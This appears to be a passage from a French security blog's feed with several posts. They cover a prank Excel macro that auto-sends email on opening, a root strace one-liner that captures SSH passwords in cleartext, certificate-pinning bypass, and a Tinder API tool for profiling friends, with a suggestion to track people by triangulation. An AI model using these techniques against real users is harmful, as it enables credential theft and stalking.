<p><img src="https://arishitz.net/content/images/2017/04/bff.png" alt=""></p>]]></content:encoded></item><item><title><![CDATA[Troll for fun and croissants]]></title><description><![CDATA[<p><em>Cet article fait suite a mon premier article : <a href="http://arishitz.net/troller-en-evitant-de-se-faire-croissanter/">Troller en évitant de se faire croissanter</a></em>.</p>

<p>La sensibilisation c'est bien, quand elle est éfficace c'est mieux ! Depuis que je travaille dans l'infosec j'ai déjà arrété d'y croire. Pascal l'organisateur de soirée, Véronique la RH ou Roger le trésorier ouvriront toujours le</p>]]></description><link>https://arishitz.net/troll-for-fun-and-croissants-2/</link><guid isPermaLink="false">d319eba9-539e-447c-9942-c1dceb21589b</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Fri, 24 Feb 2017 14:55:53 GMT</pubDate><content:encoded><![CDATA[<p><em>Cet article fait suite a mon premier article : <a href="http://arishitz.net/troller-en-evitant-de-se-faire-croissanter/">Troller en évitant de se faire croissanter</a></em>.</p>

<p>La sensibilisation c'est bien, quand elle est éfficace c'est mieux ! Depuis que je travaille dans l'infosec j'ai déjà arrété d'y croire. Pascal l'organisateur de soirée, Véronique la RH ou Roger le trésorier ouvriront toujours le dernier SPAM du jour si celui-ci arrive dans leur boite mail et cela même 1 mois après un stage de sensibilisation. Et pourquoi ça ? Parce qu'ils s'en foutent tout simplement et c'est l'équipe en charge de la sécurité qui se retrouve à devoir lutter contre du malware de masse (malware bancaire, ransomware...) au lieu de faire de la "vraie" sécurité, et faire de la défence réactive vouée à l'echec au lieu de faire de la défense proactive.</p>

<p>Maintenant imaginons une boite avec une bonne ambiance. J'espère que que chez vous c'est le cas sinan la suite me semble difficilement envisageable, quoi-que...</p>

<p>La règle de base est de toujours verrouiller son ordinateur à partir du moment ou l'on s'en éloigne sous peine de se faire croissanter (envoi d'un mail à son insu aux collègues pour les informer que l'on apportera les croissants).</p>

<p><strong>Adaptation de la règle à la sensibilisation</strong></p>

<p>Il est possible d'appliquer cette règle dans le cas d'ouverture de SPAM ! je ne parle pas ici de transférer le maximum de SPAM avec dropper de ransomware aux collègues cela pourrait assez mal finir :p <br>
L'idée est ici de créer soit même un faux SPAM qui, si celui-ci était ouvert aurait comme action l'envoi d'un mail à ses collègues par l'intermédiaire d'une liste de diffusion !</p>

<p>Aujourd'hui la majorité des SPAM sont soit des archives zip avec un fichier javascript à l'intérieur soit des documents Microsoft Word ou Excel avec des Macro en Visual Basic. Le langage Visual Basic est clairement imbuvable et je n'en écrirais dans ma vie uniquement que dans des cas similaires à celui-la.</p>

<p><strong>Création du document piègé.</strong> </p>

<p>Choisir un fichier excel crédible, qui peut inspirer confiance. Pour changer des fausses factures Free on peut prendre un document excel de simulation de budget mensuel proposé par defaut dans les modèles Excel. Dans ce genre de fichier les victimes seront plus aptes à activer les Macro.</p>

<p><img src="https://arishitz.net/content/images/2017/02/0_simulation_excel.png" alt="alt"></p>

<p>Il faut activer l'onglet developpeur dans les options :</p>

<p><img src="https://arishitz.net/content/images/2017/02/0-1_onglet_dev.png" alt="alt"></p>

<p>Dans l'onglet développeur, ciquez sur Visual Basic ou [Alt+F11]</p>

<p><img src="https://arishitz.net/content/images/2017/02/0-2_visual_basic.png" alt="alt"></p>

<p>Créez la Macro :</p>

<p><img src="https://arishitz.net/content/images/2017/02/1_macro_croissants.png" alt="alt"></p>

<p>Code de la Macro Visual Basic :</p>

<pre><code>Private Sub Workbook_Open()  
    SendMessage (True)
End Sub


Sub SendMessage(DisplayMsg As Boolean, Optional AttachmentPath)

    Set objOutlook = CreateObject("Outlook.Application")
    Set objOutlookMsg = objOutlook.CreateItem(olMailItem)
    With objOutlookMsg
        Set objOutlookRecip = .Recipients.Add("arishitz@gmail.com")
        ' Set the Subject, Body, and Importance of the message.
        .Subject = "Croissants"
        .Body = "o/ Parce que je suis un n00b qui ouvre des SPAMs et qui clique partout. Merci ari_ pour la sensibilisation. \o" &amp; vbCrLf &amp; vbCrLf
        .Importance = olImportanceHigh  'High importance

        If Not IsMissing(AttachmentPath) Then
            Set objOutlookAttach = .Attachments.Add(AttachmentPath)
        End If

        For Each objOutlookRecip In .Recipients
            objOutlookRecip.Resolve
        Next

        .Save
        .Send
    End With
    Set objOutlook = Nothing
End Sub
</code></pre>

<p>N'oubliez pas de remplacer mon adresse mail par la votre ou une liste de diffusion, sinon il faudra me les apporter !</p>

<p>Ensuite enregistrez le document et envoyez le par mail à un/vos collègue(s) et attendez. Si après ouverture du document la macro est activée par un collègue vous devriez recevoir votre mail automatique et le lendemain ou quelques jour plus tard, les croissants devraient être présent le matin au travail :].</p>

<p>Si vous avez suivi mon premier <a href="http://arishitz.net/troller-en-evitant-de-se-faire-croissanter/">tuto</a> vous serez aussi protégé contre ce SPAM (pratique pour les tests) !</p>

<p>Fap'ment,</p>

<p>Ari</p>]]></content:encoded></item><item><title><![CDATA[Get SSH passwords in clear]]></title><description><![CDATA[<p>Il est possible de récupérer les passwords tapés lors d'une connexion ssh sur une machine Linux. Il faut cependant disposer des droits root.</p>

<p><strong>Quel est l'intérêt si on est déjà root !?</strong></p>

<p>Imaginons le cas d'un Pentest (test d'intrusion), nous avons réussi à avoir un shell sur un server et à</p>]]></description><link>https://arishitz.net/get-ssh-passwords-in-clear/</link><guid isPermaLink="false">f1803162-7ded-40f9-9aef-2d1dc035ac5e</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Thu, 23 Feb 2017 12:28:44 GMT</pubDate><content:encoded><![CDATA[<p>Il est possible de récupérer les passwords tapés lors d'une connexion ssh sur une machine Linux. Il faut cependant disposer des droits root.</p>

<p><strong>Quel est l'intérêt si on est déjà root !?</strong></p>

<p>Imaginons le cas d'un Pentest (test d'intrusion), nous avons réussi à avoir un shell sur un server et à escalader nos privilèges en tant que root. Nous voulons ensuite essayer de rebondir sur d'autres serveurs. Pour cela, récupérer les passwords en clair des users qui se connectent peut être très utile.</p>

<p><strong>Fonctionnement de OpenSSH :</strong></p>

<p>OpenSSH intègre depuis 2002 une séparation des privilèges qui est activée par défaut. Plusieurs processus sshd sont créés lors d'une connexion entrante :</p>

<p><img src="https://arishitz.net/content/images/2017/01/ssh_process-1.png" alt="alt"></p>

<p>Le process à faible privilège doit envoyer le nom d'utilisateur ainsi que le password au processus à haut privilège afin de vérifier et valider l'authentification. C'est lors de cette communication inter-processus que l'interception peut avoir lieu.</p>

<p><strong>Schema du fonctionement d'OpenSSH :</strong></p>

<p><img src="https://arishitz.net/content/images/2017/01/ssh_fonctionnement.jpg" alt="alt">
Source : <a href="http://www.citi.umich.edu/u/provos/ssh/privsep-f.html">http://www.citi.umich.edu/u/provos/ssh/privsep-f.html</a></p>

<p><strong>Procéder à l'interception des passwords en clair :</strong></p>

<p>Il faut utiliser l'outil en ligne de commande <a href="https://linux.die.net/man/1/strace">strace</a>, l'attacher au processus sshd et attendre que celui-ci soit forké lors d'une connexion entrante. Il est ensuite possible d'intercepter les échanges du processus fils qui utilisera les appels systeme <code>read</code> et <code>write</code> pour communiquer avec le processus père. Les passwords seront ainsi interceptés en clair !</p>

<p><strong>La commande à lancer avec les droits root :</strong></p>

<pre><code># strace -ff -p $(pidof sshd) -e read |&amp; grep -F ', "\f\0\0\0\'
</code></pre>

<pre><code>-ff : permet de suivre les processus forkés

-p : spécifie le PID du processus sur lequel s'attacher

$(pidof sshd) : récupère le PID du processus sshd

-e read : trace les evenements de lecture de notre processus

|&amp; : permet de ne pas interompre strace tout en grepant les resultats

grep -F ', "\f\0\0\0\' : pour chercher la chaine fixée ', "\f\0\0\0\'  
</code></pre>

<p>Une fois la commande lancée (dans un screen par exemple si on veut récupérer le résultat plus tard), les passwords des utilisateurs qui se connecteront en ssh apparaitront en clair :</p>

<p><img src="https://arishitz.net/content/images/2017/01/ssh_leak-2.png" alt="alt"></p>

<p>Fap'ment,</p>]]></content:encoded></item><item><title><![CDATA[{Tuto} Weechat sous Android]]></title><description><![CDATA[<p>Petit tutoriel simple pour installer et accéder à <strong>weechat</strong> sur <strong>Android</strong> en utilisant la fonction relay et cela de façon sécurisée.</p>

<p>Pour ma part j'utilise le multiplexeur de terminaux <a href="https://doc.ubuntu-fr.org/screen">screen</a> pour lancer weechat sur un serveur et récupérer l'accès a distance depuis n'importe quel terminal.</p>

<p>Différentes applications sur Android permettant</p>]]></description><link>https://arishitz.net/tuto-weechat-sous-android/</link><guid isPermaLink="false">adcffabe-b81f-4e9f-b7e1-08dfd1a006ff</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Fri, 13 Jan 2017 11:35:51 GMT</pubDate><content:encoded><![CDATA[<p>Petit tutoriel simple pour installer et accéder à <strong>weechat</strong> sur <strong>Android</strong> en utilisant la fonction relay et cela de façon sécurisée.</p>

<p>Pour ma part j'utilise le multiplexeur de terminaux <a href="https://doc.ubuntu-fr.org/screen">screen</a> pour lancer weechat sur un serveur et récupérer l'accès a distance depuis n'importe quel terminal.</p>

<p>Différentes applications sur Android permettant de se connecter en ssh sur des machines distantes (<a href="https://juicessh.com/">JuiceSSH</a>, <a href="https://connectbot.org/">ConnectBot</a>...) mais pour irc ce n'est pas optimisé.</p>

<p>Il existe une application, <strong>Weechat android</strong>, dont le code source est sur <a href="https://github.com/ubergeek42/weechat-android">github</a> faisant office de client relay pour weechat.  </p>

<p>Pour commencer il faut générer un certificat ssl qui sera utilisé pour chiffrer la connexion entre notre client et weechat :</p>

<p><code>$ mkdir -p ~/.weechat/ssl</code></p>

<p><code>$ cd ~/.weechat/ssl</code></p>

<p><code>$ openssl req -nodes -newkey rsa:2048 -keyout relay.pem -x509 -days 3650 -out relay.pem</code></p>

<p>Ensuite dans weechat il faut ajouter notre certificat :</p>

<p><code>/relay sslcertkey</code></p>

<p>Ajouter ensuite le relay avec le port que l'on veut :</p>

<p><code>/relay add ssl.weechat 9001</code></p>

<p>Configurer un password de connection :</p>

<p><code>/set relay.network.password ***********</code></p>

<p>Il faut que vous puissiez atteindre le port choisi depuis internet, donc si besoins il faudra configurer une redirection de port sur votre box ou sur le firewall de votre serveur dédié par exemple.</p>

<p>Pour finir il suffit d'installer l'application <a href="https://play.google.com/store/apps/details?id=com.ubergeek42.WeechatAndroid&amp;hl=fr">Weechat Android</a> sur son smartphone et de la configurer dans <mark>"Settings"</mark> puis <mark>"Connection"</mark>. Il faut seléctionner <mark>"WeeChat SSL"</mark> comme type de connexion, indiquer l'<mark>adresse/ip</mark> de votre machine hébergeant weechat, le <mark>port</mark> configuré pour votre relay et le <mark>password</mark> choisi.</p>

<p>Il est maintenant possible de se connecter, un message d'erreur de certificat doit normalement apparaitre, ceci est normal celui-ci est auto-signé, il faut l'accepter lors de la première connexion.</p>

<p>Vous pouvez aussi maintenant que vous avez un relay configurer vous connecter depuis le client WEB Weechat <a href="https://www.glowing-bear.org/">Glowing Bear</a>, que vous pouvez auto-hébergé en récupérant le code source sur <a href="https://github.com/glowing-bear/glowing-bear">github</a></p>

<p>Fap'ment,</p>]]></content:encoded></item><item><title><![CDATA[Stalker ses amis Facebook sur Tinder]]></title><description><![CDATA[<p>En voilà une mauvaise idée ! <br>
<em>[Recherches et scripts réalisés en aout 2016.]</em></p>

<p>Tout d'abord pour ceux qui sortent du coma ou qui ne sortent pas de chez eux, Tinder est une application pour faire des rencontres <del>sexuelles</del> sympathiques, disponible sur smartphone où l'inscription se fait uniquement via le compte Facebook</p>]]></description><link>https://arishitz.net/stalker-ses-amis-facebook-sur-tinder/</link><guid isPermaLink="false">c0effe1e-6690-4020-9363-a6fdd6b10883</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Wed, 11 Jan 2017 00:36:07 GMT</pubDate><content:encoded><![CDATA[<p>En voilà une mauvaise idée ! <br>
<em>[Recherches et scripts réalisés en aout 2016.]</em></p>

<p>Tout d'abord pour ceux qui sortent du coma ou qui ne sortent pas de chez eux, Tinder est une application pour faire des rencontres <del>sexuelles</del> sympathiques, disponible sur smartphone où l'inscription se fait uniquement via le compte Facebook (malheureusement peut-être mais heureusement pour cet article...).</p>

<p><img src="https://arishitz.net/content/images/2016/12/1337_tinder_fail.jpg" alt="alt"></p>

<p>Le principe est simple, des profils avec photos, prénoms, âges et descriptions vous sont présentés et vous devez switcher vers la droite pour "liker" ou vers la gauche pour "noper" chaque profil. Si vous "likez" un profil et que la personne vous "like" également cela donne un "match" et vous pouvez commencer à <del>sexter</del> discuter. <br>
Désolé par avance, cet article et cet outil ne vous permettrons pas d'augmenter significativement votre tableau de chasse ou à vous dépuceler! <br>
A l'inverse vous pourriez vous rendre compte que votre dernière/actuelle/future conquête n'est pas si sérieuse que ça et qu'elle a surement acquis ici plus <del>d'expérience</del> de "likes" que toi tu n'en acquerras dans toute ta vie ;]</p>

<p><img src="https://arishitz.net/content/images/2016/12/1338_tinder_fail.jpg" alt="alt"></p>

<p><strong>Passons aux choses techniques.</strong></p>

<p>Tout d'abord tout ce qui est présenté ici, je cite : <mark>"It's not a bug it's a feature"</mark> d'après Tinder.</p>

<p>Comme beaucoup d'applications, Tinder dialogue en permanence avec une API hébergée à l'adresse <a href="https://api.gotinder.com">https://api.gotinder.com</a>. Cette API n'est pas publique et non documentée. En utilisant un outil comme <a href="https://mitmproxy.org/">Mitmproxy</a> pour proxifier la connexion entre l'application et les serveurs il est possible d'observer l'ensemble des échanges. Pour cela il faut au préalable pousser un certificat généré par Mitmproxy sur le smartphone pour pouvoir déchiffrer la connexion entre le smartphone et le serveur.</p>

<p>Le  <a href="https://www.owasp.org/index.php/Pinning_Cheat_Sheet">certificate pinning</a> a été implémenté dans l'application ce qui la protège contre les attaques du type (Man in the Middle)[https://en.wikipedia.org/wiki/Man-in-the-middle_attack]. Le ou les certificats SSL des serveurs Tinder sont stockés en dur dans l'application et vérifie que les échanges ne sont pas intercéptés, déchiffrés et re-chifrés par un tiers lors des communications <mark>application&lt;->serveur</mark>. </p>

<p>Pour pouvoir tout de même observer les échanges il faut installer une application sur son téléphone. <a href="https://github.com/iSECPartners/Android-SSL-TrustKiller">Android-SSL-TrustKiller</a> est une application qui permet de contourner le SSL certificate pinning. Le traffic ne pouvant plus être réellement trusté après l'installation il est préférable d'utiliser un téléphone de test. </p>

<p>Pour installer Android-SSL-TrustKiller il suffit de :</p>

<ul>
<li>Télécharger l'APK ici : <a href="https://github.com/iSECPartners/Android-SSL-TrustKiller/releases">pre-compiled APK</a></li>
<li>Installer l'application <a href="https://play.google.com/store/apps/details?id=com.saurik.substrate&amp;hl=en">Cydia Substrate</a> sur son smartphone</li>
<li>Installer les tools Android pour adb : <code># apt-get install android-tools-adb</code></li>
<li>Brancher son smartphone Android</li>
<li>Activer le mode développeur sur son smartphone </li>
<li>Activer le <mark>"Débogage USB"</mark>dans les <mark>"Options  pour les développeurs"</mark></li>
<li>Vérifier que le téléphone est bien reconnu
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_0_1.png" alt="alt"></li>
<li>Lancer l'installation
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_0_2.png" alt="alt"></li>
</ul>

<p>Une fois la configuration en place on peut commencer à analyser les échanges. Quand on lance l'application on observe une première requête vers l'url <a href="http://api.gotinder.com/auth">http://api.gotinder.com/auth</a>. <br>
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_1.png" alt="alt"></p>

<p>Le détail de la requête : <br>
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_2.png" alt="alt"></p>

<p>La réponse : <br>
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_3.png" alt="alt"></p>

<p>On identifie donc 2 valeurs servant à s'authentifier, un <mark>id facebook</mark>  et un <mark>token facebook</mark>. Pour le premier il est assez simple de le récupérer, il suffit par exemple de se rendre à l'adresse <a href="http://findmyfbid.com/">http://findmyfbid.com/</a> et de rentrer l'url de son profil facebook. <br>
<img src="https://arishitz.net/content/images/2016/12/2_id_facebook.png" alt="alt"></p>

<p>Vous pouvez aussi très bien utiliser cette commande avec l'adresse de votre profil Facebook : <br>
<code>$ curl http://findmyfbid.com/ --data "url=https://www.facebook.com/your.name" | grep -m 1 -Eoh '[0-9]{7,10}'</code></p>

<p>Pour le token facebook c'est un peu plus compliqué, les moyens de le récupérer sans passer par le déchiffrement des échanges par un proxy sont limités. Il est possible de le trouver de la façon suivante avec le plugin firefox <a href="https://addons.mozilla.org/en-US/firefox/addon/firebug/">Firebug</a>. Il faut lancer firebug et se rendre sur cette <a href="https://www.facebook.com/v2.6/dialog/oauth?redirect_uri=fb464891386855067%3A%2F%2Fauthorize%2F&amp;scope=user_birthday,user_photos,user_education_history,email,user_relationship_details,user_friends,user_work_history,user_likes&amp;response_type=token%2Csigned_request&amp;client_id=464891386855067">page facebook</a>. <br>
 Vous devrez normalement vous connecter ou si vous l'êtes déjà vous obtiendrez cette popup :
<img src="https://arishitz.net/content/images/2016/12/3_url_token_facebook.png" alt="alt">
Cliquer sur "OK" et vous devez maintenant voir apparaitre une réponse à la requête <code>POST confirm?.dpr1</code> dans l'onglet réseau de Firebug: <br>
<img src="https://arishitz.net/content/images/2016/12/4_access_token.png" alt="alt"></p>

<p>Le token facebook correspond l'intégralité de la chaine de caractères de la variable <code>access_token</code> <br>
Une fois que l'on possède son id et son token on peut commencer à dialoguer avec l'API de Tinder.</p>

<p>Il faut aussi savoir, et cela va avoir toute son importance ici, que Tinder a intégré pendant l'été 2016 une nouvelle fonctionnalité "Tinder Social" dans son application. Elle permet de "sortir entre amis" et de rencontrer d'autres groupes d'amis pour <del>une orgie</del> aller boire une bière ou deux ou plus. <br>
Cet option que chaque utilisateur est amené à accepter et accepte comme d'habitude les yeux fermés permet à l'application d'accéder via facebook à la liste de ses amis qui utilisent aussi Tinder ! La réciproque est donc vraie, vos amis verront que, vous aussi, vous êtes en... recherche de l'âme soeur.</p>

<p>Pour dialoguer avec l'APi de Tinder quoi de plus sympas que d'utiliser Python. Je me suis servi de Mitmproxy afin d'analyser les différentes requêtes qu'effectuait l'application. J'ai pu ainsi identifier les URI correspondants aux différentes fonctionnalités de l'application pour les reproduire. L'API est dans l'ensemble assez simple et renvoi des données en JSON facilement parsables.</p>

<p>Lorsqu'on affiche un profil utilisateur sur l'application (Le fait qu'il s'agisse le profil d'un ladyboy Thailandais n'est que pur hasard) : <br>
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_4.png" alt="alt"></p>

<p>La requête qui récupère l'intégralité de ses amis Facebook présent sur tinder : <br>
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_5.png" alt="alt"></p>

<p>La requête envoyée lorsqu'on "like" un profil : <br>
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_6.png" alt="alt"></p>

<p>Requête envoyée avec la géolocalisation : <br>
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_7.png" alt="alt"></p>

<p>Requête lorsqu'on envoi un message : <br>
<img src="https://arishitz.net/content/images/2017/02/mitmproxy_8.png" alt="alt"></p>

<p><strong>Liste des URI intéressantes dont je me suis servi ainsi que leur méthode :</strong></p>

<p><code>URL_Tinder_API = "https://api.gotinder.com/URI"
 URI_Auth = POST "auth"
 URI_Profile = GET "user/user_id"
 URI_Facebook_Friends = GET "group/friends"
 URI_Like = GET "like/user_id"
 URI_Message = POST "user/matches/user_id_1_+_user_id_2"
 URI_Updates = POST "updates" (très verbeux, toutes les infos...)
 URI_Location = POST "user/ping" -&gt; fonctionnalité payante bypassable
 URI_Recommandations = GET "user/recs"
 URI_Report = POST "report/user_id_1_+_user_id_2"
</code></p>

<p>Avec ces URI voici les différentes actions possibles et intéressantes que l'on peut faire en les rejouant et que j'ai trouvé intéressant de scripter en python dans l'outil tinderStalker.py que vous pouvez trouver sur mon github : <a href="https://github.com/arishitz">https://github.com/arishitz</a></p>

<p>Pour télécharger l'outil :</p>

<p><code>$ git clone https://github.com/arishitz/tinderstalker.git</code></p>

<p>Insérer ensuite l'ID et le Token Facebook dans le fichier credz.json et lancer l'outil :</p>

<p><code>$ python tinderStalker.py</code></p>

<p><img src="https://arishitz.net/content/images/2016/12/5_tinderStalker_py.png" alt="alt"></p>

<p>Les fonctionnalités détaillées du menu :</p>

<p>0) Lister l'ensemble de ses amis facebook qui sont présents sur Tinder...</p>

<p>1) Récupérer pour chaque profil ses informations dont son nom, la date et l'heure GMT (+1h pour la france) de sa dernière connexion. Tinder avait soit disant retiré cette fonctionnalité pour des problèmes de confidentialité et de vie privée mais en réalité cette valeur n'est juste plus affichée dans l'application mais bien présente dans les échanges... Il est aussi possible de récupérer le genre, la date d'anniversaire (biaisée mais correspond tout de même à la bonne année), la distance nous séparant. La bio (description du profil), le profil Instagram, l'école et le travail peuvent aussi être vus si renseignés. Et pour finir le nombre d'amis en commun (Facebook), les "matchs" en commun et surtout le nombre de "matchs" total du profil (souvent très révélateur...) !</p>

<p><img src="https://arishitz.net/content/images/2016/12/6_tinderprofile.png" alt="alt"></p>

<p>2) "Liker" un profil en particulier grâce à son id ou liker automatiquement les 100 profils (nombre maximum de profils "likables" par jour) qui nous sont recommandés par l'application sans avoir besoin de "swiper" vers la droite 100 fois comme un gros <del>perver</del> débile. </p>

<p><img src="https://arishitz.net/content/images/2016/12/tinder.gif" alt="alt"></p>

<p>3) Envoyer un message a un profil grâce a son id. Il faut qu'il y ait déjà eu un "match" avec ce profil évidement... Pratique comme fonctionnalité pour les bots, faux profils de "jolies" femmes Russes t'invitant à les rejoindre sur un autre site avec un lien. Quand on <del>à faim</del> ne fait pas attention et que l'on clique on arrive généralement sur un site d'adultes ou il faut créer un compte, c'est comme ça que les escrocs sont rémunérés, au nombre de compte créés.</p>

<p>4) Modifier sa géolocalisation, cette fonctionnalité est normalement payante et disponible avec "Tinder Plus" au tarif de 5€ minimum pour 12 mois. Cela permet de changer sa position géographique pour "matcher" avec des <del>ladyboys en Thailande</del> personnes partout dans le monde !</p>

<p>5) Mettre à jour, cette option est destinée a ceux qui souhaite exploiter et récupérer les données de leur profil (matchs, conversations, infos...) au format json.</p>

<p>6) Signaler un profil, cela ne sert quasiment à rien et vous n'aurez pas besoin de l'utiliser. Même si votre ex/futur ex semble se faire plaisir avec son nombre de matchs grandissant d'heures en heures il n'est pas éthique de reporter son profil 3 fois par jours pour "Photos inappropriées" ou "SPAM"...</p>

<p>7) Quitter, même quand vous ragez il faut arrêter de stalker "proprement" de temps en temps.</p>

<p>Bien d'autres possibilités sont envisageables (récupération des photos, création de bot...), j'encourage toute personne lisant cet article à essayer l'outil avec de bonnes intentions :] et pourquoi pas à regarder plus en détails le code et s'en resservir.</p>

<p>Un projet que je trouverais intéressant de réaliser mais le temps me manque serait de développer un bot tinder qui avec <del>des gros boobs</del> un physique sympa et classique "likerai" le maximum de profil et indexerai un maximum d'informations dans <a href="https://www.elastic.co/">ELK</a> (<a href="https://www.elastic.co/products/elasticsearch">Elasticsearch</a> <a href="https://www.elastic.co/products/logstash">Logstash</a> <a href="https://www.elastic.co/products/kibana">Kibana</a>) pour faire une analyse sociologique. Il serait possible de voir le temps de réponse moyen après un match, la réponse la plus employée, le pourcentage de gros cochons, faire un classement des messages les plus drôles, beaufs, tristes et tout cela par ville et bien plus encore :].</p>

<p>Il est aussi possible en créant plusieurs bots qui "matcheraient" avec une personne ciblée, de tracer cette personne en temps réel par triangulation.</p>

<p>Fap'ment,</p>]]></content:encoded></item><item><title><![CDATA[Troller en évitant de se faire croissanter]]></title><description><![CDATA[<p>Les croissants c'est bon et c'est encore meilleur quand les collègues les apportent le matin au travail. <br>
Si comme moi, une session non-verouillée est souvent synonyme d'un envoi d'emails aux collègues (liste de diffusion interne), stipulant que les croissants seront apportés le lendemain avec amour, alors la technique suivante peut</p>]]></description><link>https://arishitz.net/troller-en-evitant-de-se-faire-croissanter/</link><guid isPermaLink="false">748628e7-46f2-4ae0-9ab0-e1b9463459c5</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Wed, 10 Aug 2016 16:03:01 GMT</pubDate><content:encoded><![CDATA[<p>Les croissants c'est bon et c'est encore meilleur quand les collègues les apportent le matin au travail. <br>
Si comme moi, une session non-verouillée est souvent synonyme d'un envoi d'emails aux collègues (liste de diffusion interne), stipulant que les croissants seront apportés le lendemain avec amour, alors la technique suivante peut vous interessez. <br>
Elle pourra vous permettre, à condition que vos collègues ne soient pas trop curieux, d'aller chercher un verre d'eau ou de vous assoupir sans risquer de se faire avoir, voir meme de pouvoir les troller simplement.</p>

<p>Pour ouvrir l'éditeur VisualBasique (oui les macros sont en VB, un bon language de *****) il faut appuyer sur les touche <code>Alt+F11</code></p>

<p><img src="https://arishitz.net/content/images/2016/08/macro.png" alt="alt"></p>

<p>Voici la Macro, tout est dans les commentaires :</p>

<pre><code>Private Sub Application_ItemSend(ByVal Item As Object, Cancel As Boolean)
'---------------------------------------------------------------------------------------------
' Procédure : Protection Anti-Croissantage
' Auteur    : Ari
' Site      : http://arishitz.net
' Détail    : Teste la présence d'une chaine de caractères dans le ' sujet du mail avant l'envoi
'---------------------------------------------------------------------------------------------
'
'Teste si c'est un Email
If Not Item.Class = olMail Then Exit Sub
'Déclaration de la variable monMail
Dim monMail As MailItem
'Instancie L'élément à la variable monMail
Set monMail = Item
'Teste si le sujet contient une chaine de caractères spécifiques
If InStr(monMail.Subject, "1337") = 0 Then
    'Message en cas de fail
    MsgBox "Fail, pas de croissants pour les n00bs !"
    'Annule l'envoi
    Cancel = True
Else
    'Si la chaine de caractère attendu est présente alors elle est ' supprimée
    monMail.Subject = Replace(monMail.Subject, "1337", "")
End If
End Sub
</code></pre>

<p>Lorsqu'un email est donc envoyé sans la chaine attendu (ici 1337) dans le champs objet une popup s'ouvre et l'envoi est avorté. Si la chaine est présente celle-ci est retirée avant envoi.</p>

<p><img src="https://arishitz.net/content/images/2016/08/fail_croissant.png" alt="alt"></p>

<p>Donc jusqu'ici tout fonctionne mais un message d'alerte apparait à chaque lancement d'Outlook demandant d'activer ou de désactiver les macros :</p>

<p><img src="https://arishitz.net/content/images/2016/08/macro_fail.png" alt="alt"></p>

<p>Il devient donc facile pour un neophyte de relancer rapidement Outlook en désactivant les macros et de pouvoir envoyer des emails.</p>

<p>Pour éviter se message, une solution est de signer la macro avec un certificat numérique. Pour créer le certificat il faut utiliser le tool <code>SELFCERT.EXE</code> qui se trouve dans <code>'C:\Program Files\Microsoft Office\OfficeXX'</code>, XX étant la version d'Office utilisée.</p>

<p><img src="https://arishitz.net/content/images/2016/08/certificat.png" alt="alt"></p>

<p>Ensuite il faut signer la macro dans Outlook avec le certificat numérique créé, Alt-F11 -> Outils -> Signature électonique...</p>

<p><img src="https://arishitz.net/content/images/2016/08/signature_croissant.png" alt="alt"></p>

<p>Pour finir il suffit de relancer Outlook et quand le message d'alerte apparait, cliquer sur <code>Approuver tous les documents de cet éditeur</code> </p>

<p><img src="https://arishitz.net/content/images/2016/08/alerte_macro.png" alt="alt"></p>

<p>Le message n'apparaitra maintenant plus au démarrage, vous pouvez faire une sieste mais faites attention quand même...</p>

<p><img src="https://arishitz.net/content/images/2016/08/reddit.jpg" alt="alt"></p>

<p>Fap'ment,</p>]]></content:encoded></item><item><title><![CDATA[Script de configuration de VM Debian]]></title><description><![CDATA[<p>Quand on installe régulièrement des VMs et que l'on installe les mêmes outils à chaque fois, créer un script personalisé qui automatisera ces taches et quelques plus peut s'avérer très utile.</p>

<p>Voici un exemple de script que j'ai créé et que j'utilise : <code>initstall.sh</code></p>

<p><a href="https://bitbucket.org/ari_/initstall">Source sur mon repo Bitbucket</a></p>

<p>Dans</p>]]></description><link>https://arishitz.net/script-de-configuration-de-vm-debian/</link><guid isPermaLink="false">f7bb32e7-5ead-4033-86da-db5d5562e673</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Thu, 21 Jul 2016 22:13:26 GMT</pubDate><content:encoded><![CDATA[<p>Quand on installe régulièrement des VMs et que l'on installe les mêmes outils à chaque fois, créer un script personalisé qui automatisera ces taches et quelques plus peut s'avérer très utile.</p>

<p>Voici un exemple de script que j'ai créé et que j'utilise : <code>initstall.sh</code></p>

<p><a href="https://bitbucket.org/ari_/initstall">Source sur mon repo Bitbucket</a></p>

<p>Dans le script les paquets suivant sont installés : <br>
<code>sudo bash-completion build-essential python-pip checkinstall git libssl-dev nmap openssh-server vim p7zip-full tor proxychains ufw</code></p>

<p>Des alias usuels sont aussi ajoutés au fichier <code>.bash_aliases</code> et une bannière est créée avec des informations utiles sur le système lors de connexion ssh.</p>

<p>Le script doit être lancé avec l'user root, exemple au démarage de la VM :</p>

<pre><code># curl -sS https://bitbucket.org/ari_/initstall/raw/ca7221f07cbb4b5f33b07ba8721e47de2f91774a/initstall.sh &gt; initstall.sh &amp;&amp; bash initstall.sh [user] [ssh_port] [ufw]
</code></pre>

<p>Il peut aussi être lancé a tout moment :</p>

<pre><code># ./initstall.sh [user] [ssh_port] [ufw]
</code></pre>

<p><strong>Options :</strong><br>
<em>[user] : ajouter un utilisateur existant au groupe sudo</em><br>
<em>[ssh_port] : modifier le port ssh par défaut</em><br>
<em>[ufw] : activer le firewall ufw et bloquer tout le traffic entrant sauf ssh</em></p>

<p><strong>Aperçu :</strong><br>
Screenshot du rendu de la banner à la connexion d'un utilisateur en ssh : <br>
<img src="https://arishitz.net/content/images/2016/07/banner_initstall.png" alt="alt"></p>

<p>Ne pas hésiter à relire le script, le modifier et à l'améliorer !</p>

<p>Fap'ment,</p>]]></content:encoded></item><item><title><![CDATA[Désactiver McAfee VirusScan Enterprise]]></title><description><![CDATA[<p><strong>Depuis 2014 une faille de sécurité est présente sur l'Anti-Virus McAfee pour entreprise.</strong></p>

